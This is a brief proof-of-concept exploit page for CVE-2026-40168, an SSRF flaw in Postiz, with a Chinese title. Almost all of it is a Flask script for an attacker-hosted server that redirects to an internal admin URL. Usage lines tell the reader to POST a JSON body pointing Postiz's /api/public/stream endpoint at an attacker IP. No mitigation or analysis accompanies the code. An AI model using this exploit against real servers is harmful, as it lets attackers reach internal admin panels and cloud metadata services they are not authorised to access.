CVE-2026-40168 Postiz SSRF漏洞

# Proof of Concept for CVE-2026-40168 (Postiz SSRF) # This script simulates an attacker-controlled server that redirects to an internal resource. from flask import Flask, redirect, request app = Flask(__name__) @app.route('/poc') def redirect_to_internal(): # The target internal resource (e.g., internal admin panel, metadata service) target_internal_url = "http://127.0.0.1:8080/admin" return redirect(target_internal_url, code=302) if __name__ == '__main__': # Attacker runs this server on a public IP app.run(host='0.0.0.0', port=80) # Usage: # Send a request to the vulnerable Postiz endpoint: # POST /api/public/stream # { "url": "http://<attacker-ip>/poc" }